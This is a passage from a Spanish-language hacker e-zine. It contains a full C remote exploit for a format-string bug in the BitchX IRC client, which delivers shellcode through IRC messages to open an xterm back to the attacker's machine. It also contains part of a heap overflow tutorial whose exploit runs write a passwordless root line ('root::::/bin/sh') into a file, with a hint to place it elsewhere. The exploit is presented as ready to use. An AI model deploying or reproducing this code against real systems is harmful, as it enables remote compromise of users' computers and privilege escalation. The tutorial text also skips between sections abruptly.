Thanks again,
Patrick Poole
Desde luego, queda poca gente asi en el mundo ;) asi que nada, Thank You Mr.
Poole y hasta el proximo numero...
Pope!
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Pues bien, como estareis comprobando ahora mismo con este numero estrenamos
otra seccion nueva, la hemos llamado Bugs && Xploits :). En esta seccion
(que intentaremos que sea fija) iremos publicando nuevos bugs o xploits
desarrollados exclusivamente por miembros del Staff. Es una tarea dificil,
pero vamos a intentarlo..
Para este numero RaiSe ha desarollado un xploit remoto para el conocido
cliente de irc BitchX. Muchos sabreis que las versiones anteriores a la
BitchX-1.0c17 son vulnerables a uno de los llamados 'bugs de formato'. Hasta
ahora no habia xploit publicado (o al menos no lo hemos encontrado..),
quizas pq nadie se habia molestado en hacerlo.. hasta que a RaiSe le dio la
venada y bueno.. aqui lo teneis :).
Y ahora una breve explicacion de su funcionamiento.. El xploit aprovecha un
bug de formato existente en la funcion p_invite(), al hacer una llamada a
logmsg() sin especificar el formato (valga la redundancia). Debido a que
no se puede hacer un 'invite' en el irc a un canal que contenga retornos de
linea, etc., RaiSe ha optado por no liarse demasiado y meter la shellcode en
otro sitio. De esta forma la shellcode se envia primero en un ctcp, y luego
se envia el invite con la cadena de formato para sobreescribir la direccion
de retorno haciendo que apunte a la shellcode. Por cierto que la misma
tambien ha sido desarrollada por el (vease arti 0x04 ;) ), es la del xterm
con una pequea modificacion; una llamada a fork() para que el BitchX no se
quede bloqueado hasta que se cierre el xterm remoto.
El xploit tiene unos pequeos inconvenientes, debido a que la direccion de
retorno tiene que ser exacta es posible que algunas veces no funcione.. Los
offsets predefinidos son para redhat 6.0, redhat 7.0 y debian 2.2. Aun asi
tienen que cumplirse una serie de condiciones:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#define PORT 6667
int soc_local,snick;
struct sockaddr_in addr_local;
struct hostent *server;
char buf[1024], cmd[512], formatbuf[1024], ip[64], *p;
int irc(char *n,char *s,char *sc);
int format(int v);
static char shellcode[256] = // by RaiSe
"\xeb\x5b\x5e\x31\xc0\xb0\x02\x31\xdb\xcd\x80\x39\xc3\x75\x47\x31"
"\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b\x31\xc9\xb1\x09"
"\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88\x34\x32\x31\xd2"
"\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d\x7e\x19\x89\x7e"
"\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e\x36\x8d\x56\x46"
"\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xa0\xff"
"\xff\xff/usr/X11R6/bin/xterm8-ut8-display8";
char nops4[] = "\x90\x90\x90\x90";
// main()
int main(int argc, char *argv[])
{
if (argc!=5)
{
printf("\nBitchX Xploit by RaiSe\n");
printf("http://www.netsearch-ezine.com\n");
printf("\nuse: %s nick irc-server my-ip dist\n",argv[0]);
printf("\ndist = 1 --> redhat 6.0\n"
"dist = 2 --> redhat 7.0\n"
"dist = 3 --> debian 2.2\n\n");
exit(0);
}
sprintf(ip,"%s:0K",argv[3]);
strcat(shellcode,ip);
printf("\nBitchX Xploit by RaiSe\n");
printf("http://www.netsearch-ezine.com\n");
puts("\ndoing it..");
snick=strlen(argv[1]);
format(atoi(argv[4]));
irc (argv[1],argv[2],formatbuf);
printf("finished\n\n");
return(0);
} // end main()
// irc()
int irc(char *n,char *s,char *sc)
{
if ((server = gethostbyname(s)) == 0)
{
printf("error al resolver el host\n");
exit(0);
}
if ((soc_local=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
printf("error al crear el socket\n");
exit(0);
}
bzero((char *) &addr_local, sizeof(addr_local));
addr_local.sin_family = AF_INET;
addr_local.sin_port = htons(PORT);
memcpy(&addr_local.sin_addr, server->h_addr, server->h_length);
if ((connect(soc_local,(struct sockaddr *) &addr_local,sizeof(addr_local
)))
== -1)
{
printf("error al conectar con el servidor\n");
exit(0);
}
p=buf;
// user
sprintf(cmd,"user k k k k\n");
write(soc_local,cmd,strlen(cmd));
// nick
sprintf(cmd,"nick rxkfe\n");
write(soc_local,cmd,strlen(cmd));
// pong
while(1)
{
read(soc_local,p,1);
if ((*p=='\n') && (strstr(buf,"PING :")))
{
p = (strstr(buf,"PING :")) + strlen("PING :");
sprintf(cmd,"PONG %s",p);
write(soc_local,cmd,strlen(cmd));
break;
}
if (*p=='\n')
p=buf;
p++;
}
// ctcp
sprintf(cmd,"privmsg %s :\x01%s%s%s%s%s%s\x01\n"
,n,nops4,nops4,nops4,nops4,nops4,shellcode);
write(soc_local,cmd,strlen(cmd));
sleep(2);
// invite
sprintf(cmd,"invite %s #%s\n",n,sc);
write(soc_local,cmd,strlen(cmd));
sleep(2);
return(0);
} // end irc()
// format()
int format(int v)
{
if ((v!=1) && (v!=2) && (v!=3))
{
printf("\ndist = 1 --> redhat 6.0\n"
"dist = 2 --> redhat 7.0\n"
"dist = 3 --> debian 2.2\n\n");
printf("exiting..\n\n");
exit(0);
}
if (v==1)
{
int n, nr, a1, nx, nn = 0x150;
char dire[4][8] = { "\x60","\x61","\x62","\x63" };
int a2 = 0x1b5 - 0xdb;
int a3 = 0xff - 0xb5;
int a4 = 0x1bf - 0xff;
char xx[1024], nops[256];
switch(snick)
{
case 1:
sprintf(nops,"\x90%s",nops4);
nx = 126;
nr = 0x6;
break;
case 2:
sprintf(nops,"%s",nops4);
nx = 126;
nr = 0x5;
break;
case 3:
sprintf(nops,"\x90\x90\x90");
nx = 126;
nr = 0x4;
break;
case 4:
sprintf(nops,"\x90\x90");
nx = 126;
nr = 0x3;
break;
case 5:
sprintf(nops,"\x90");
nx = 126;
nr = 0x2;
break;
case 6:
sprintf(nops,"%s",nops4);
nx = 129;
nr = 0x5;
nn = 0x158;
break;
case 7:
sprintf(nops,"\x90\x90\x90");
nx = 129;
nr = 0x4;
nn = 0x158;
break;
case 8:
sprintf(nops,"\x90\x90");
nx = 129;
nr = 0x3;
nn = 0x158;
break;
case 9:
sprintf(nops,"\x90");
nx = 129;
nr = 0x2;
nn = 0x158;
}
a1 = 0x10db - nn - 0x10 - 0xc - nr;
for (n = 0; n < nx ; n += 3)
strcpy(&xx[n], "%8x");
sprintf(formatbuf,
"%s"
"%s\xea\xff\xbf"
"%s"
"%s\xea\xff\xbf"
"%s"
"%s\xea\xff\xbf"
"%s"
"%s\xea\xff\xbf"
"%s"
"%%%dx%%n"
"%%%dx%%n"
"%%%dx%%n"
"%%%dx%%n"
,nops,dire[0],nops4,dire[1],nops4,dire[2],
nops4,dire[3],xx,a1,a2,a3,a4);
}
if (v==2)
{
int n, nr, a1, nx, nn = 0x138;
char dire[4][8] = { "\xbc","\xbd","\xbe","\xbf" };
int a2 = 0x1b2 - 0xc1;
int a3 = 0xff - 0xb2;
int a4 = 0x1bf - 0xff;
char xx[1024], nops[256];
switch(snick)
{
case 1:
sprintf(nops,"\x90%s",nops4);
nx = 117;
nr = 0x6;
strcpy(dire[0],"\xbc");
strcpy(dire[1],"\xbd");
strcpy(dire[2],"\xbe");
strcpy(dire[3],"\xbf");
break;
case 2:
sprintf(nops,"%s",nops4);
nx = 117;
nr = 0x5;
strcpy(dire[0],"\xbc");
strcpy(dire[1],"\xbd");
strcpy(dire[2],"\xbe");
strcpy(dire[3],"\xbf");
break;
case 3:
sprintf(nops,"\x90\x90\x90");
nx = 117;
nr = 0x4;
strcpy(dire[0],"\xbc");
strcpy(dire[1],"\xbd");
strcpy(dire[2],"\xbe");
strcpy(dire[3],"\xbf");
break;
case 4:
sprintf(nops,"\x90\x90");
nx = 117;
nr = 0x3;
strcpy(dire[0],"\xbc");
strcpy(dire[1],"\xbd");
strcpy(dire[2],"\xbe");
strcpy(dire[3],"\xbf");
break;
case 5:
sprintf(nops,"\x90");
nx = 117;
nr = 0x2;
break;
case 6:
sprintf(nops,"%s",nops4);
nx = 120;
nr = 0x5;
nn = 0x140;
break;
case 7:
sprintf(nops,"\x90\x90\x90");
nx = 120;
nr = 0x4;
nn = 0x140;
break;
case 8:
sprintf(nops,"\x90\x90");
nx = 120;
nr = 0x3;
nn = 0x140;
break;
case 9:
sprintf(nops,"\x90");
nx = 120;
nr = 0x2;
nn = 0x140;
}
a1 = 0x10c1 - nn - 0x10 - 0xc - nr;
for (n = 0; n < nx ; n += 3)
strcpy(&xx[n], "%8x");
sprintf(formatbuf,
"%s"
"%s\xe7\xff\xbf"
"%s"
"%s\xe7\xff\xbf"
"%s"
"%s\xe7\xff\xbf"
"%s"
"%s\xe7\xff\xbf"
"%s"
"%%%dx%%n"
"%%%dx%%n"
"%%%dx%%n"
"%%%dx%%n"
,nops,dire[0],nops4,dire[1],nops4,dire[2],
nops4,dire[3],xx,a1,a2,a3,a4);
}
if (v==3)
{
int n, nr, a1, nx, nn = 0x180;
char dire[4][8] = { "\x80","\x81","\x82","\x83" };
int a2 = 0x1b3 - 0xa4;
int a3 = 0xff - 0xb3;
int a4 = 0x1bf - 0xff;
char xx[1024], nops[256];
switch(snick)
{
case 1:
sprintf(nops,"\x90%s",nops4);
nx = 144;
nr = 0x6;
break;
case 2:
sprintf(nops,"%s",nops4);
nx = 144;
nr = 0x5;
break;
case 3:
sprintf(nops,"\x90\x90\x90");
nx = 144;
nr = 0x4;
break;
case 4:
sprintf(nops,"\x90\x90");
nx = 144;
nr = 0x3;
break;
case 5:
sprintf(nops,"\x90");
nx = 144;
nr = 0x2;
break;
case 6:
sprintf(nops,"%s",nops4);
nx = 147;
nr = 0x5;
nn = 0x188;
break;
case 7:
sprintf(nops,"\x90\x90\x90");
nx = 147;
nr = 0x4;
nn = 0x188;
break;
case 8:
sprintf(nops,"\x90\x90");
nx = 147;
nr = 0x3;
nn = 0x188;
break;
case 9:
sprintf(nops,"\x90");
nx = 147;
nr = 0x2;
nn = 0x188;
strcpy(dire[0],"\x70");
strcpy(dire[1],"\x71");
strcpy(dire[2],"\x72");
strcpy(dire[3],"\x73");
}
a1 = 0x10a4 - nn - 0x10 - 0xc - nr;
for (n = 0; n < nx ; n += 3)
strcpy(&xx[n], "%8x");
sprintf(formatbuf,
"%s"
"%s\xe8\xff\xbf"
"%s"
"%s\xe8\xff\xbf"
"%s"
"%s\xe8\xff\xbf"
"%s"
"%s\xe8\xff\xbf"
"%s"
"%%%dx%%n"
"%%%dx%%n"
"%%%dx%%n"
"%%%dx%%n"
,nops,dire[0],nops4,dire[1],nops4,dire[2],
nops4,dire[3],xx,a1,a2,a3,a4);
}
return(0);
} // end format()
// 0x00
<-->
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Introduccion.
---------------
La idea de este articulo nacio mientras estaba realizando una de las
pruebas del concurso de hackerslab (por si no sabeis de que va, es
simplemente un concurso para 'hackers' dividido en 14 niveles, desde
lo mas simple hasta algo mas complejo como programacion de sockets y
cosas asi. Lo recomiendo como algo bastante entretenido :). Resulta que
en la prueba en cuestion te pedian que explotaras un heap overflow que
habia en un programa para pasar al siguiente nivel. Como suele pasar con
estas cosas, toda la info que encontre estaba en ingles y basicamente
todas las fuentes se basaban mas o menos directamente en un "tutorial" sobre
heaps overflows que se publico en w00w00.
Se supone que para entender todos los conceptos que envuelven a los
heap overflows se necesita (o por lo menos todos los sitios que he visto
lo da por supuesto) conocimientos de C, de ensamblador y de como funciona
por dentro la memoria del ordenador. Yo, por mi parte, intentare no dejar
muchas cosas al conocimiento previo de alguna de estas materias (bueno, de C
si, pero a eso ya estamos acostumbrados, no? ;) e intentare empezar desde 0
(si alguno me acusa de poco 'elite' por este enfoque que meta los pies en un
barreo con agua mientras se seca el pelo con el secador, y vera como ve las
cosas de otro color)
Empezamos...
Heaps Overflows.
------------------
En los parrafos anteriores hemos visto la base de un stack overflow. No
es que sea muy complejo pero tiene ciertas curiosidades que hay que tener en
cuenta, como por ejemplo averiguar direcciones de retorno en las llamadas
a funciones y cosas asi (para saber mas, lo mejor es que os leais los
distintos artis publicados sobre el tema). Yo defiendo los heaps overflows
por su sencillez y su "pureza de lineas", como diria algun anuncio malo de
coches ;)
Por supuesto, para entender lo que es un Heap Overflow, lo primero que
hay que saber que es lo que es el Heap ;). Veamos, un programa tiene dos
formas de pedir al SO memoria para hacer su trabajo. Una de ellas es la
tipica, que hemos usado antes:
char datos[20]
con lo que el sistema asignaria una zona de memoria identificandola con el
nombre "datos" y de tamao 20 bytes. Esta es la forma tradicional y
"estatica", es decir, que si en algun momento del programa necesitamos que en
la variable datos quepan 40 bytes, no podemos hacerlo.
system(mainbuf);
return 0;
}
<-->
Pues nada, aqui tenemos que un programa aparentemente inocente como este,
es capaz de escribir lo que nosotros queramos en cualquier sitio donde
tengamos privilegios de escritura. Solamente tenemos que ir probando
distintos offsets hasta que sobreescribamos la ruta completa:
[..]
cafo@thehost:~/nets/heap$ ./exploit2 500
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:
despues del exploit: G = spanish
[...]
ups, nos hemos ido a la zona de las variables de entorno (no decia yo que este
tipo de exploit puede ser realmente util? ;). Sigamos probando (esto mas o
menos es el juego del "hundir la flota" pero nosotros tenemos el truco de que
podemos probar millones de valores por minuto, no? :)
[...]
cafo@thehost:~/nets/heap$ ./exploit2 400
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:
despues del exploit:
[...]
Dish, nos hemos ido al codigo ejecutable. Demasiado bajo. Agua ;)
[...]
cafo@thehost:~/nets/heap$ ./exploit2 450
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:
despues del exploit: mplo2
[...]
esto ya suena mejor. Es el nombre del programa vulnerable, asi que suponemos
que podemos estar en argv[0], no?. Agua todavia.
[...]
cafo@thehost:~/nets/heap$ ./exploit2 465
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:
despues del exploit: dapami
[...]
bueno bueno bueno, esto ya esta mucho mejor. Acabamos de encontrar nuestra
cadena apuntando al fichero que queremos sobreescribir. TOCADO!. Contando
con los dedos resulta que
[...]
cafo@thehost:~/nets/heap$ ./exploit2 456
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:
despues del exploit: /tmp/mierdapami
[...]
HUNDIDO!!! Si todo ha salido bien, tenemos en nuestro directorio tmp ese
archivo con la info q nosotros queriamos que tuviese. Veamoslo:
[...]
cafo@thehost:~/nets/heap$ cat /tmp/mierdapami
root::::/bin/sh
cafo@thehost:~/nets/heap
[...]
interesante, verdad? Que pena que esa misma linea no estuviera en otro sitio...
pero nada, como esto no es para que hagais cosas malas, os dejo que
investigues vosotros.
Hasta aqui todo ha salido muy bien. Por supuesto que por ahora solo hemos
estado con programas mios, es decir, que yo sabia al escribirlos que iban
a ser vulnerables. Lo siguiente seria averiguar que tipo de programas
pueden ser vulnerables o que tipo de variables son tipicamentes sobreescritas
por los exploits, pero eso lo dejaremos para la segunda parte del arti ;)
un saludete.
cafo.
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Pues nada, hasta aqui ha llegado este numero :). Nos hubiera gustado incluir
un par de cosillas mas, pero tampoco queriamos que el Ezine 'engordara'
demasiado, asi que las hemos reservado para NetSearch Ezine #5.. La fecha
del mismo sera aproximadamente dentro de 3 meses, es decir, asi a ojo a
finales de Marzo. No dejeis de visitar nuestra web para mas informacion,
http://www.netsearch-ezine.com.
Hasta entonces, un saludo a tod@s. Nos vemos en NS #5 ;).
El Editor
0x00